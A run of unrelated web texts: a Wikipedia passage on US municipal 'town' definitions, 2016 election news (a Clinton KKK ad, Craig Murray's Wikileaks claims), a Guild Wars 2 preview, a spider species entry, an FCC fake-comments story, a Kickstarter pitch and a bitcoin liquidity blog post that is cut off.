major theme in American literature, especially stories of rejection by young people leaving for the metropolis.[15]  Since the use of the term varies considerably by state, individual usages are presented in the following sections:  Alabama [ edit ]  In Alabama, the legal use of the terms "town" and "city" is based on population. A municipality with a population of 2,000 or more is a city, while less than 2,000 is a town (Code of Alabama 1975, Section 11-40-6). For legislative purposes, municipalities are divided into eight classes based on population. Class 8 includes all towns, plus cities with populations of less than 6,000 (Code of Alabama 1975, Section 11-40-12).  Arizona [ edit ]  In Arizona, the terms "town" and "city" are largely interchangeable. A community may incorporate under either a town or a city organization with no regard to population or other restrictions according to Arizona law (see Arizona Revised Statutes, Title 9). Cities may function under slightly differing governmental systems, such as the option to organize a district system for city governments, but largely retain the same powers as towns. Arizona law also allows for the consolidation of neighboring towns and the unification of a city and a town, but makes no provision for the joining of two adjacent cities.  California [ edit ]  In California, the words "town" and "city" are synonymous by law (see Cal. Govt. Code Secs. 34500–34504). There are two types of cities in California: charter and general law. Cities organized as charter cities derive their authority from a charter that they draft and file with the state, and which, among other things, states the municipality's name as "City of (Name)" or "Town of (Name)." Government Code Sections 34500–34504 applies to cities organized as general law cities, which differ from charter cities in that they do not have charters but instead operate with the powers conferred them by the pertinent sections of the Government Code. Like charter cities, general law cities may incorporate as "City of (Name)" or "Town of (Name)."  Some cities change their minds as to how they want to be called. The sign in front of the municipal offices in Los Gatos, California, for example, reads "City of Los Gatos", but the words engraved on the building above the front entrance when the city hall was built read "Town of Los Gatos." There are also signs at the municipal corporation limit, some of which welcome visitors to the "City of Los Gatos" while older, adjacent signs welcome people to the "Town of Los Gatos." Meanwhile, the village does not exist in California as a municipal corporation. Instead, the word "town" is commonly used to indicate any unincorporated community that might otherwise be known as an unincorporated village. Additionally, some people may still use the word "town" as shorthand for "township", which is not an incorporated municipality but an administrative division of a county.  Hawaii [ edit ]  The Hawaiian Island of Oahu has various communities that may be referred to as towns. However, the entire island is lumped as a single incorporated city, the City and County of Honolulu. The towns on Oahu are merely unincorporated census-designated places.  Illinois [ edit ]  In Illinois, the word "town" has been used both to denote a subdivision of a county called a township,[16] and to denote a form of municipality similar to a village, in that it is generally governed by a president and trustees rather than a mayor.[17] In some areas a "Town" may be incorporated legally as a Village (meaning it has at large Trustees) or a City (meaning it has aldermen from districts) and absorb the duties of the Township it is coterminous with (maintenance of birth records, certain welfare items). Evanston, Berwyn and Cicero are examples of Towns in this manner. Under the current Illinois Municipal Code, an incorporated or unincorporated town may choose to incorporate as a city or as a village, but other forms of incorporation are no longer allowed.[18]  Louisiana [ edit ]  In Louisiana a "town" is defined as being a municipal government having a population of 1,001 to 4,999 inhabitants.[19]  Maryland [ edit ]  While a "town" is generally considered a smaller entity than a "city", the two terms are legally interchangeable in Maryland. The only exception may be the Independent city of Baltimore, which is a special case, as it was created by the Constitution of Maryland.  Nevada [ edit ]  In Nevada, a town has a form of government, but is not considered to be incorporated. It generally provides a limited range of services, such as land use planning and recreation, while leaving most services to the county. Many communities have found this "semi-incorporated" status attractive; the state has only 20 incorporated cities, and towns as large as Paradise (186,020 in 2000 Census), home of the Las Vegas Strip. Most county seats are also towns, not cities.  New England [ edit ]  In the six New England states, a town is a municipality and a more important unit than the county. In Connecticut, Rhode Island and 7 out of 14 counties in Massachusetts, in fact, counties only exist as map divisions and have no legal functions; in the other three states, counties are primarily judicial districts, with other functions primarily in New Hampshire, Maine, and Vermont. In all six, towns perform functions that in most states would be county functions. The defining feature of a New England town, as opposed to a city, is that a town meeting and a board of selectmen serve as the main form of government for a town, while cities are run by a mayor and a city council. For example, Brookline, Massachusetts is a town, even though it is fairly urban, because of its form of government.  New Jersey [ edit ]  A "town" in the context of New Jerseyan local government refers to one of five types and one of eleven forms of municipal government. While Town is often used as a shorthand to refer to a Township, the two are not the same. The Town Act of 1895 allowed any municipality or area with a population exceeding 5,000 to become a Town through a petition and referendum process. Under the 1895 Act, a newly incorporated town was divided into at least three wards, with two councilmen per ward serving staggered two-year terms, and one councilman at large, who also served a two-year term. The councilman at large served as chairman of the town council. The Town Act of 1988 completely revised the Town form of government and applied to all towns incorporated under the Town Act of 1895 and to those incorporated by a special charter granted by the Legislature prior to 1875.  Under the 1988 Act, the mayor is also the councilman at large, serving a term of two years, unless increased to three years by a petition and referendum process. The Council under the Town Act of 1988 consists of eight members serving staggered two-year terms with two elected from each of four wards. One councilman from each ward is up for election each year. Towns with different structures predating the 1988 Act may retain those features unless changed by a petition and referendum process. Two new provisions were added in 1991 to the statutes governing towns, First, a petition and referendum process was created whereby the voters can require that the mayor and town council be elected to four-year terms of office. The second new provision defines the election procedure in towns with wards. The mayor in a town chairs the town council and heads the municipal government. The mayor may both vote on legislation before council and veto ordinances. A veto may be overridden by a vote of two-thirds of all the members of the council. The council may enact an ordinance to delegate all or a portion of the executive responsibilities of the town to a municipal administrator. Fifteen New Jersey municipalities currently have a type of Town, nine of which operate under the town form of government.  New York [ edit ]  In New York, a town is similarly a division of the county, but with less importance than in New England. Of some importance, a town provides a closer level of governance than its enclosing county, providing almost all municipal services to unincorporated communities, called hamlets, and selected services to incorporated areas, called villages. In New York, a town typically contains a number of such hamlets and villages. However, due to their independent nature, incorporated villages may exist in two towns or even two counties (example: Almond (village), New York). Everyone in New York who does not live on an Indian reservation or a city lives in a town and possibly in one of the town's hamlets or villages. (There are no towns in the five counties – also known as boroughs – that make up New York City.) What is a "town" in New York is called a township in some other states.  North Carolina [ edit ]  In North Carolina, all cities, towns, and villages are incorporated as municipalities. According to the North Carolina League of Municipalities,[20] there is no legal distinction among a city, town, or village—it is a matter of preference of the local government. Some North Carolina cities have populations as small as 1,000 residents, while some towns, such as Cary, have populations of greater than 100,000.  Pennsylvania [ edit ]  In Pennsylvania, only one municipality is incorporated as a "town": Bloomsburg. Most of the rest of the state is incorporated as townships (there are also boroughs and cities), which function in much the same way as the towns of New York or New England, although they may have different forms of government.  Texas [ edit ]  In Texas, although some municipalities refer to themselves as "towns" or "villages" (to market themselves as an attractive place to live), these names have no specific designation in Texas law; legally all incorporated places are considered cities.  Utah [ edit ]  In Utah, the legal use of the terms "town" and "city" is based on population. A municipality with a population of 1,000 or more is a city, while less than 1,000 is a town. In addition, cities are divided into five separate classes based on population.[21]  Virginia [ edit ]  In Virginia, a town is an incorporated municipality similar to a city (though with a smaller required minimum population). But while cities are by Virginia law independent of counties, towns are contained within counties.[22]  Washington [ edit ]  A town in the state of Washington is a municipality that has a population of less than 1,500 at incorporation, however an existing town can reorganize as a code city.[23] Town government authority is limited relative to cities, the other main classification of municipalities in the state.[24] As of 2012 , most municipalities in Washington are cities. (See List of towns in Washington.)  Wisconsin [ edit ]  Wisconsin has Towns which are areas outside of incorporated cities and villages. These Towns retain the name of the Civil Township from which they evolved and are often the same name as a neighboring City. Some Towns, especially those in urban areas, have services similar to those of incorporated Cities, such as police departments. These Towns will from time to time incorporate into Cities, such as Fox Crossing in 2016 from the former town of Menasha.[25] Often this is to protect against being annexed into neighboring cities and villages.  Wyoming [ edit ]  Wyoming statute indicates towns are incorporated municipalities with populations of less than 4,000. Municipalities of 4,000 or more residents are considered "first-class cities".  Vietnam [ edit ]  In Vietnam, a district-level town (Vietnamese: thị xã) is the second subdivision, below a province (tỉnh) or municipality (thành phố trực thuộc trung ương). A commune-level town (thị trấn) a third-level (commune-level) subdivision, below a district (huyện).  See also [ edit ]  Notes [ edit ]  References [ edit ]
-Hillary Clinton tied Donald Trump’s campaign to the Ku Klux Klan (KKK) in a new web ad released Thursday -- the latest move in the Democratic nominee’s crusade connecting Trump with white supremacist ideologies.  The minute-long web video begins with a soundbite from a man in the full white robes of a KKK member, who the spot identifies as the “Imperial Wizard of the Rebel Brigade, Knights of the KKK.”  “The reason a lot of Klan members like Donald Trump is because a lot of what he believes, we believe in,” he says, as consecutive images flash on-screen of the confederate flag, Donald Trump, and a man at a Trump rally raising his right hand (presumably in a Nazi salute). Over the video, the text reads: “These people support Trump because they believe Trump supports them.”  The ad then plays footage from various news interviews with radical nationalists touting Trump’s political philosophies.  Clinton calls Trump's campaign part of a "hate movement"  “Sending out all the illegals, building a wall, and a moratorium on Islamic immigration -- That’s very appealing to a lot of ordinary white people,” says one man, identified by CNN as the American Renaissance’s Jared Taylor, a white supremacist defending his support for Trump.  In another clip, David Duke, a former grand wizard of the KKK, says: “Voting against Donald Trump… is really treason to your heritage.”  The lengthy spot then features a February interview with CNN, where Trump is asked by “State of the Union” host Jake Tapper: “Will you unequivocally condemn David Duke and say that you don’t want his vote or that of other white supremacists?”  “I don’t know anything about white supremacists,” Trump replies. “So I don’t know.”  Trump and his campaign have repeatedly disavowed Duke’s comments and the KKK since that interview earlier this year.  The web video also hits Trump’s new campaign CEO, Steve Bannon, who runs the controversial Breitbart News website, a safe haven for so-called “alt-right” ideologues. It describes the group using a pundit’s commentary: “The alt-right is the sort of dressed-up-in-suits version of the neo-nazi and white supremacist movements.”  The spot ends on an ominous promise: “If Trump wins, they could be running the country.”  Clinton sent a tweet with the video Thursday. You can watch it in full here:  There's a reason the most hateful fringe of the right wing is supporting Donald Trump.https://t.co/AqB3DM2m0N — Hillary Clinton (@HillaryClinton) August 25, 2016  The video was released just before Clinton delivered a speech in Reno, Nevada linking Trump to alt-right firebrands -- and just as the GOP nominee is ramping up his own efforts to court African American and Hispanic voters by painting Clinton as a “bigot”  The Trump campaign has denied that it has any affiliations with the alt-right, despite Bannon’s tacit embrace of the philosophy through Breitbart.  Asked if the Trump campaign served as a platform for the alt-right, campaign manager Kellyanne Conway told “CBS This Morning”: “No, not at all.”  “We’ve never even discussed it internally,” she said in an interview Thursday. “It certainly isn’t a part of our strategy meetings. It’s nothing that Mr. Trump says out on the stump.”  On Thursday afternoon, the Trump campaign condemned the KKK web video, blasting out a statement from Mark Burns, an African American pastor and devout Trump surrogate.  “Hillary Clinton and her campaign went to a disgusting new low today as they released a video tying the Trump Campaign with horrific racial images,” Burns wrote. “This type of rhetoric and repulsive advertising is revolting and completely beyond the pale. I call on Hillary Clinton to disavow this video and her campaign for this sickening act that has no place in our world.”
-Meeting the Revenant and experiencing the new direction of Guild Wars 2  Last week, I had the good fortune of visiting Seattle to see ArenaNet and spend some hands-on time with their upcoming Guild Wars 2: Heart of Thorns expansion. For many veteran players, the Heart of Thorns announcement at PAX South in January was a long time coming, and effectively revitalized an already deeply faithful community with promises of new regions, PVP modes, and a ninth character class, the Revenant.  Guild Wars 2 has never been particularly conformative, thanks to the forward thinkers over at ArenaNet, which might be why the game boasts one of the friendliest, most absurdly optimistic communities known to online gaming. This was more or less the same attitude that permeated throughout the day-long affair, during which ArenaNet introduced some of their key developers -- including the ever-photogenic Colin Johanson -- and gave us a rundown on the Heart of Thorns content we would be playing.  The World Is Changing  The demo was split into two parts, allowing us time with both early PVE and the new Stronghold PVP mode. Of course, Revenants were available to try out, and that's what just about everyone did. Before we get much further into that, something worth noting is the expansion's focus on the open world. Yes, Guild Wars 2 already has that, but the dev team pointed out that much of the story content in Heart of Thorns will actually be moved into the open world, instead of playing out in contained instances as the Living Story has been.  That's not to say the expansion completely does away with instances. Certain steps in the story will still require players to leave the open world, such as the starting mission I played, which seemed to immediately follow the last cutscene in Season 2. The Pact ships are scattered all around the new Verdant Brink zone, mostly as flaming wreckage rather than actual functioning airships, with very few survivors to speak of. While Destiny's Edge 2.0 is arguing with Canach, I notice my character is actively participating in the conversation, mainly by moving her head to address NPCs and actually contributing to ongoing dialogue. ArenaNet later pointed out this little detail as part of their efforts to create a more immersive player experience in Heart of Thorns, one that does away with the somewhat stale one-to-one exchanges we see in Guild Wars 2's current cutscenes.  Dynamism appears to be the overall theme in Heart of Thorns, with how the open world has taken priority over instances (or cutscenes). In terms of gameplay, more complex mechanics you would expect to find in dungeons have been integrated into the open environment and story progression. These latter two elements will see overlap as well, meaning more large-scale cooperative content. As an example, the Wyvern mini-boss is encountered in the world as part of the expansion's primary storyline, thus allowing players on the same quest to drop into the fight at any given time, regardless of whether someone else is already in combat with the beast. It's a very obvious and welcome deviation from the old Living Story setup ArenaNet has been utilizing.  If you thought the Mordrem were bad before, consider the new Mordrem baddies walking on two legs. During the demo we played, these sentient monsters of plant matter joined the fight with their more familiar brethren, like the Modrem Husks and vines. Acting as commanders within Mordremoth's army, they lack the overwhelming strength in numbers wielded by the lesser Mordrem, but make up for it with intelligence.  For lore junkies out there, some of the new enemy lines suggest that Mordremoth can convert races other than sylvari into his minions. Scary.  The Revenant Goes Old School  ArenaNet previously gave the Revenant class an in-depth introduction, delving into the mechanics of the profession's combat style, weapons, and unique Legendary Stances. The demo included only the three weapons that were previously confirmed: hammer, mace, and axe. Depending on your weapon choice, the Revenant acts as a melee to mid-range fighter, possessing abilities that can either put you closer to enemies or keep them at a distance.  For fans of the original game and its expansions, the Revenant's energy resource is reminiscent of how professions used to be handled. Energy management becomes a huge factor in playing a successful Revenant, with all skills being governed by energy consumption -- as opposed to cooldowns, which most existing Guild Wars 2 professions fall back on. Mindless facerolling or careless spamming will only put you in unnecessarily risky situations, where you might end up having to dodge roll for several seconds waiting for that energy regen to pick up.  The Revenant really doesn't play like any other class currently found in Guild Wars 2, and I'd even go as far as suggesting it boasts a higher learning curve due to the element of resource management. Not to mention the Legendary Stances add another layer of depth, reminiscent of the Dervish in Guild Wars Nightfall. Granted, the Revenant doesn't exactly channel the Six, but the implementation of different forms based on iconic characters is an interesting take on the old mechanic. Similar to the Dervish's avatar forms, every stance will change the Revenant's appearance and drastically alter your play style on the fly. Choose those stances wisely, because different situations will undoubtedly call for different stances and abilities.  Visually, the class is set apart from its peers by blindfolds and a red-on-black color scheme. Don't worry though, because Revenant don't actually need to stay blind, and the blindfolds are simply the class-specific option found during character creation. As to how any of this fits into Rytlock's story and his return from the Mists remains a mystery, though, and when I spoke briefly to dev director Kristen Bornemann, she wasn't willing to talk too much about the lore. No one wanted to confirm swords as a Revenant weapon either, despite how many times this question was asked.  Stronghold, Where Roles Matter  When ArenaNet announced the Stronghold PVP mode during their big Heart of Thorns reveal, there existed a spark of hope that this might be the new Guild vs. Guild, what with Guild Halls also confirmed for imminent release. Well, that particular connection was already debunked by the devs themselves, when they released their big feature on Stronghold and its first map, the Battle of Champion's Dusk.  Stronghold would not be the new GvG. My personal interest in the mode dipped after this.  Even so, my impressions of the upcoming sPVP mode came out fairly positive following the several rounds I was able to play at ArenaNet's studios. For those unaware, this mode pits two teams of five against one another in a heavily MOBA-inspired setup, where resources are needed to buy units, and units need to be escorted to the enemy's fortified keep.  Perhaps the most interesting aspect of Stronghold is the greater need for team cooperation, as players will inevitably discover the value of different roles beyond just straight DPS or bunker. Support tactics actually become more viable when NPCs require defending from enemy units and players. Utility-heavy classes like Engineers can be made into effective supply runners and oft-defenders when the rest of the team is away.  In the end, I can honestly say Stronghold still feels very much like Guild Wars 2 PVP, only with more factors woven in. It might provide a welcome variation from sPVP's current Conquest-heavy playlist, but I'm not entirely certain how the PVP community will accept new mode and ultimately put it into play.  As for the brief mention I made above regarding Guild Halls, ArenaNet wasn't quite prepared to discuss them, though Kristen did note they were working to integrate the halls into every aspect of gameplay -- and making it a pretty neat place to just hang out in.  PAX East attendees will get their shot at demoing the same content this coming weekend. As of now, Guild Wars 2: Heart of Thorns still has no official release window or pricing.  Follow Lydia on Twitter @RabidChinaGirl or check out her news and reviews every day here on Neoseeker.
-A Wikileaks envoy today claims he personally received Clinton campaign emails in Washington D.C. after they were leaked by 'disgusted' whisteblowers - and not hacked by Russia.  Craig Murray, former British ambassador to Uzbekistan and a close associate of Wikileaks founder Julian Assange, told Dailymail.com that he flew to Washington, D.C. for a clandestine hand-off with one of the email sources in September.  'Neither of [the leaks] came from the Russians,' said Murray in an interview with Dailymail.com on Tuesday. 'The source had legal access to the information. The documents came from inside leaks, not hacks.'  His account contradicts directly the version of how thousands of Democratic emails were published before the election being advanced by U.S. intelligence.  Craig Murray (left), former British ambassador to Uzbekistan and a close associate of Wikileaks founder Julian Assange (right), told the Dailymail.com that he flew to Washington, D.C. for a clandestine hand-off with one of the email sources in September  Murray is a controversial figure who was removed from his post as a British ambassador amid allegations of misconduct. He was cleared of those but left the diplomatic service in acrimony.  His links to Wikileaks are well known and while his account is likely to be seen as both unprovable and possibly biased, it is also the first intervention by Wikileaks since reports surfaced last week that the CIA believed Russia hacked the Clinton emails to help hand the election to Donald Trump.  Murray's claims about the origins of the Clinton campaign emails comes as U.S. intelligence officials are increasingly confident that Russian hackers infiltrated both the Democratic National Committee and the email account of top Clinton aide John Podesta.  In Podesta's case, his account appeared to have been compromised through a basic 'phishing' scheme, the New York Times reported on Wednesday.  U.S. intelligence officials have reportedly told members of Congress during classified briefings that they believe Russians passed the documents on to Wikileaks as part of an influence operation to swing the election in favor of Donald Trump.  But Murray insisted that the DNC and Podesta emails published by Wikileaks did not come from the Russians, and were given to the whistleblowing group by Americans who had authorized access to the information.  'Neither of [the leaks] came from the Russians,' Murray said. 'The source had legal access to the information. The documents came from inside leaks, not hacks.'  He said the leakers were motivated by 'disgust at the corruption of the Clinton Foundation and the tilting of the primary election playing field against Bernie Sanders.'  Murray said he retrieved the package from a source during a clandestine meeting in a wooded area near American University, in northwest D.C. He said the individual he met with was not the original person who obtained the information, but an intermediary.  Murray claims he met with the person who passed the emails over in a Washington, D.C. part near American University  His account cannot be independently verified but is in line with previous statements by Wikileaks - which was the organization that published the Podesta and DNC emails.  Wikileaks published the DNC messages in July and the Podesta messages in October. The messages revealed efforts by some DNC officials to undermine the presidential campaign of Sen. Bernie Sanders, who was running against Hillary Clinton.  Others revealed that Clinton aides were concerned about potential conflicts and mismanagement at the Clinton Foundation.  Murray declined to say where the sources worked and how they had access to the information, to shield their identities.  He suggested that Podesta's emails might be 'of legitimate interest to the security services' in the U.S., due to his communications with Saudi Arabia lobbyists and foreign officials.  Murray said he was speaking out due to claims from intelligence officials that Wikileaks was given the documents by Russian hackers as part of an effort to help Donald Trump win the U.S. presidential election.  'I don't understand why the CIA would say the information came from Russian hackers when they must know that isn't true,' he said. 'Regardless of whether the Russians hacked into the DNC, the documents Wikileaks published did not come from that.'  Murray was a vocal critic of human rights abuses in Uzbekistan while serving as ambassador between 2002 and 2004, a stance that pitted him against the UK Foreign Office.  He describes himself as a 'close associate' of Julian Assange and has spoken out in support of the Wikileaks founder who has faced rape allegations and is currently confined to the Ecuadorian embassy in London.  Assange has similarly disputed that charges that Wikileaks received the leaked emails from Russian sources.  'The Clinton camp has been able to project a neo-McCarthyist hysteria that Russia is responsible for everything,' Assange told John Pilger during an interview in November.  'Hillary Clinton has stated multiple times, falsely, that 17 US intelligence agencies had assessed that Russia was the source of our publications. That's false – we can say that the Russian government is not the source.'  Murray suggested that John Podesta's emails might be 'of legitimate interest to the security services' in the U.S., due to his communications with Saudi Arabia lobbyists and foreign officials  The Washington Post reported last Friday that U.S. intelligence agencies had 'identified individuals with connections to the Russian government who provided WikiLeaks with thousands of hacked emails.'  The paper said U.S. senators were presented with information tying Russia to the leaks during a recent briefing by intelligence officials.  'It is the assessment of the intelligence community that Russia's goal here was to favor one candidate over the other, to help Trump get elected,' a senior U.S. official familiar with the briefing told the Post. 'That's the consensus view.'  The paper said U.S. senators were presented with information tying Russia to the leaks during a recent briefing by intelligence officials.  'It is the assessment of the intelligence community that Russia's goal here was to favor one candidate over the other, to help Trump get elected,' a senior U.S. official familiar with the briefing told the Post. 'That's the consensus view.'  The Obama administration has been examining Russia's potential role in trying to influence the presidential election. Officials said Russians hacked the Republican National Committee, but did not release that information in a deliberate effort to damage Clinton and protect Donald Trump.  Several congressional committees are also looking into the suspected Russian interference.  While there is a consensus on Capitol Hill that Russia hacked U.S. political groups and officials, some Republicans say it's not clear whether the motive was to try to swing the election or just to collect intelligence.  'Now whether they intended to interfere to the degree that they were trying to elect a certain candidate, I think that's the subject of investigation,' said Sen. John McCain on CBS Face the Nation. 'But facts are stubborn things, they did hack into this campaign.'  President elect Donald Trump raised doubts about the reports and said this was an 'excuse' by Democrats to explain Clinton's November loss.
-Myrmekiaphila neilyoungi is a species of spider in the family Euctenizidae,[1] described in 2007 by East Carolina University professor of biology Jason E. Bond and Norman I. Platnick, curator at the American Museum of Natural History in New York City. It is named after Canadian rock musician Neil Young.[2]  Bond & Platnick described the male holotype and female paratype, which were collected in Jefferson County, Alabama,[3] in 1998. While specimens have been collected repeatedly since 1940, it was only in 2007 that they were recognized as a new species.[2] He co-wrote a paper revising the genus with Norman I. Platnick, describing this and several other new species.[4]  M. neilyoungi is widely distributed throughout Alabama, with one known locality from northwestern Florida.[2]  Bond received $750,000 in grants from the National Science Foundation in 2005 and 2006 to classify the species of the family Cyrtaucheniidae and contribute to the foundation's Tree of Life project.[4]  Bond opted to name the spider after his favorite musician,[5] Neil Young, whose music and activism on peace and justice he appreciates.[4]
-FCC Blocks Law Enforcement Inquiry Into Fake Neutrality Comments  The FCC is refusing to aid a law enforcement investigation into who submitted millions of fake comments in support of the FCC's planned rollback of net neutrality rules. New York Attorney General Eric Schneiderman has been conducting an investigation into the millions of fake comments (some belonging to dead people) submitted in support of the FCC's attack on net neutrality. In an open letter several weeks ago, Schneiderman's office said that despite 9 inquiries made during a six month period, the FCC refused to aid his office's inquiry in any capacity.  On Monday of this week, Schneiderman's office issued a statement indicating that the FCC Inspector General's office might cooperate in the wake of public pressure.  But on Thursday FCC general counsel Thomas Johnson sent a letter to Schneiderman refusing to hand over any data, server logs or API details that could help the investigation shine a light on the identity of the culprit(s).  Johnson stated that "while your letter suggests that the public comment process was somehow 'corrupted' by the alleged submission of comments under false names, you offer no evidence that this activity affected the Commission’s ability to review and respond to comments in the record."  Critics have charged that the FCC failed to investigate or hinder bogus comments because the fraud undermined trust in the validity of the comment process, helping to downplay and discredit the massive genuine opposition to the FCC's plan. If the fake comments were the work of an ISP-tied think tank or policy organization (such activity is certainly historically within their wheelhouse), the industry-cozy FCC also likely has a vested interest in not aiding anybody trying to document such a connection.  The FCC similarly refused to do anything when I filed a formal complaint about the fact that someone used my name and the name of DSLReports.com to support killing the popular rules.  Needless to say, Schneiderman's office isn't particularly impressed.  "Today the FCC make[s] clear that it will continue to obstruct a law enforcement investigation," said Amy Spitalnick, a spokeswoman for Schneiderman’s office. "It’s easy for the FCC to claim that there’s no problem with the process, when they’re hiding the very information that would allow us to determine if there was a problem."  FCC Commissioner Jessica Rosenworcel similarly blasted the FCC's refusal to cooperate.  "This letter shows the FCC’s sheer contempt for public input and unreasonable failure to support integrity in its process," said Rosenworcel. "To put it simply, there is evidence in the FCC’s files that fraud has occurred and the FCC is telling law enforcement and victims of identity theft that it is not going to help. Moreover, the FCC refuses to look into how nearly half a million comments came from Russian sources. Failure to investigate this corrupted record undermines our process for seeking public input in the digital age."  Expect the comment fraud, and the FCC's refusal to aid investigations into it, to play a starring role in the inevitable lawsuits coming in the new year.
-About  "Imagine a world full of limitless scientific advancements, immense magical power, and the unfettered potential of the human body and mind.  In this world, you choose. You can be the one to step up and save the day; the hero who strives to protect the city and the people who inhabit it.  Or you can be the one to cut a swath of destruction through the populace; the villain who rules the world with an iron fist.  Or perhaps you’re something in between?"  Welcome to Valiance Online, a new superhero MMO born from the death of City of Heroes. Like many of you, we too were shattered when our beloved City of Heroes was taken away. But now is our time to rebuild. Our time has come to rise up, and build a stronger foundation against the forces of evil, or a more menacing threat to world order. Help us make City of Heroes one of the only games in history to launch several successful spiritual successors. Be the part of our story that says indie developers can, instead of indie developers can't. We can make a successful superhero MMO, standing on the shoulders of the giants, but we need your help to go all the way!  In 2049, the villainous superhuman organization known as Leviathan first revealed itself to the world. As their armies marched forth, countless cities were ravaged and countries torn asunder. Never before had the world witnessed the horrific might wrought by super-powered beings. Fortunately there were those willing to oppose the terror, and assist the armies of the world in this battle. Heroes arose to fight evil, to protect their people, their cities, their world. Leviathan was driven back and the world began to rebuild in a new era of peace.  On the west coast of the United States, the city of San Cielo was devastated by the double hammer blows of war and earthquake. Its citizens could easily have abandoned the ravaged city to seek out new homes, but instead they chose to rebuild, to see their city once again reach to the sky and serve as a beacon of hope.  Now, at the end of the Twenty First Century, San Cielo faces new challenges, her citizens caught in the immortal struggle between morality and villainy. On one side, the forces of Valor, led by the legendary Paramount, fight to protect the city from rapidly strengthening gangs, rising crime and other unknown evil forces. Meanwhile, the mysterious Magistor directs a resurgent Leviathan, intent on reshaping the world into his vision.  Looming above it all is The Trinity, a group of megacorporations that have introduced world-altering scientific and technological breakthroughs. Thanks to their efforts, ordinary people can now be born with, or acquire, superhuman powers, or use advanced technology to achieve the same effects. As humanity’s abilities grow, The Trinity reaps massive profits.  Currently we have a working pre-alpha version of Valiance up and running. It’s been a labor of love for the team over the past year, but with your help it could be so much more! Right now we have a group of passionate gamers building VO, all of whom have volunteered their time and creative energies in the belief that together we can create a new superhero MMORPG for everyone to enjoy.  We are nowhere near finished bringing our vision to life. We will be adding many features to enhance the Valiance experience, such as:  - An evolving game world tied to character choices.  - An open world environment with continuous no-loading between zones.  - Semi-Freeform character build options  - A choice through action system for character alignment- Player run stores and a decentralized market system.  - Additional travel powers including fan favorites like swinging, acrobatics and flash stepping.  - Powers customization options  - A flexible and customizable UI  - Multitudes of costume choices  - Over 25 zones planned, ranging from futuristic city, to island fortress, to Atlantis, to subterranean maze, and all the way into space.  - Player created content  We are gamers, just like yourself, who know and love games. How can we say this? Our talent pool consists of former members of such companies as Zenimax, Origin Systems Inc, Turbine, Image Comics, Bethesda Softworks, FASA, Ubisoft, Hewlett Packard, Marvel Comics, DC Comics, Sony, IBM, Cryptic, Disney, Adult Swim, Coca-Cola, GSN, and yes, even NASA. Our writers have many decades of experience between them, and multiple degrees. Our sound and music department has credits that include The Last of Us: The Fireflies, and the recently produced Nightwing web series. We have access to MMO and server technology that has been 8 years in development and combined we have decades of experience in designing, building, running and playing games. We are volunteers, but make no mistake, we are not amateurs. We were brought together not only by the loss of our beloved City of Heroes, but by a common goal: not simply to resurrect a lost game with cheap cut and paste tactics, but instead to give you what you deserve: a game that will honor the memory of what was lost, while living up to the promise of what our City could have been if given time.  Now, you may be wondering “If you’re such heavyweights, why are you on Kickstarter?” The simple answer is because, on average, it costs most companies $10 million to develop an MMO from conception to launch. We’ve made it halfway into production with $3,700, and a tremendous amount of time, patience and effort from everyone involved. Unfortunately, we’re reaching the end of what we can do on such a miniscule budget, so now we need your help.  The short answer is, if it’s part of game development, these funds will help pay for it. Specifically, we need to pay for servers so that you all have a place to play. We need to hire a dedicated team of programmers, artists, animators and modelers to create the world you’ll belong to. We need to license software in order for the team to build the world and upgrade hardware so we can push our creation further. We need to pay our writers so they can fill the world with immersive content.  ADD ON REWARDS!!  In Tune - $10 - Download the Valiance Online Musical Score by John Scigulinsky  Decked out - $10 - Get the Exclusive Kickstarter Cape Design  In like Flynn - $10 - Guaranteed Beta Access  Immigrant - $15 One Month Citizen Access  Shiny! - $20 - Get the Exclusive Kickstarter Aura and the cape  Mascot - $25 - Vanity Pet
-The Breakdown explains what's behind Southern California business and economic news. It describes the effects the headlines have on you: whether you're an investor, a business owner, an employee, homeowner, consumer or just someone who wants to know how to save a buck.  Some thoughts from Fred Wilson's blog:  So it seems to me and my colleagues...that an alternative currency with roots in peer to peer networks and based on an algorithm that is transparent to everyone is an idea whose time has come. The question remains if the Bitcoin algorithm or some other algorithm (possibly a derivative of the Bitcoin algorithm that deals with some of Bitcoin's weaknesses?) will ultimately win out. That's an important issue that has a lot to do with when this space becomes investable. But Bitcoin or something else, I'm confident we'll see the emergence of currencies that are not controlled by nation states in my lifetime. Whether that is a good thing or not remains to be seen. I think it is, but there are significant ramifications that will result from the decoupling of currencies from governments. And one of them is an interesting investment opportunity that we hope to participate in.  This idea is extremely attractive to folks in the tech realm. I had a long argument with a smart, tech-y person at about the time that Bitcoin was at its peak, insisting that it would be impossible to control a crypto- or cybercurrency in terms of inflation. I may have been right in the global sense but exactly wrong in the details, as Bitcoin appears to provoke more worry due to its potential for deflationary illiquidity.  That sounds impenetrable and ultra-wonky, I know. Basically it means that at some point nobody wants the currency because they can't figure out what it's worth, nor predict when massive amounts of it will be introduced and taken out of a market. It loses its utility as a storehouse of value, as Tim Worstall explain here in Forbes.  Currency trading will make your head hurt in a hurry, but essentially what this implies is that if you "buy" a certain number of bitcoins, you could easily lose your ability to exchange those bitcoins for another medium exchange, like dollars, in the future.  Completely. Your bitcoins will become digital scrip, worth exactly nothing.  Part of this may now have something to do with bitcoin's immaturity. To me, it functions — or functioned — more like a dollar derivative that "traded" off the conventional books. And then just like the derivatives that became worthless during the financial crisis, when the underlying subprime mortgage assets were shown to be toxic collateral, it's value, which was largely speculative, collapsed.  The issue for Fred really seems to be potentially investing in a currency that isn't nationally controlled and that tends toward absolute transparency. You don't need a government to back the medium of exchange.  But this is really more political than financial. I don't know, it could come to pass. In fact, it might, if algorithmic maturation in the crypto-currency space happens. But then again, some of these problems could be technologically daunting. Bitcoin's flaws aren't so much technical as they are philosophical. The basic question is, "Can we keep bitcoin liquid?"  And liquidity is the toughest thing in finance to nail down. It's just so esoteric. In fact, it could be the only thing in finance that's of the state of nature — so based in the chaos of human behavior that it just kind of happens. Something is liquid because it's...liquid.  Or else it's purely a meta-concept, something that doesn't exist but stands for a phenomenon that does, like "exchange," with value coming from the movement of goods and services among participants in a market.  I'll admit that liquidity is the one concept in finance that I really struggle to understand. I thought I was just missing some profound chunk of brain matter on this one and figured that I needed to grow extra synapses or something.  But then I read Emanuel Derman's book "Models. Behaving. Badly," the most thought-provoking account of the financial crisis I've yet seen — and a book that I've had a tough time getting out of my head. Derman, in something of an offhand way, confirms that liquidity is a real conundrum:  [T]he shattering risks to firms and systems come from illiquidity and contagion. No one quite knows what liquidity really is, and so there’s no good model of it. (Liquidity is a metaphor based on fluids. People define it by its proxies – bid-ask, average daily volume, market impact etc, which are features of but aren’t actually 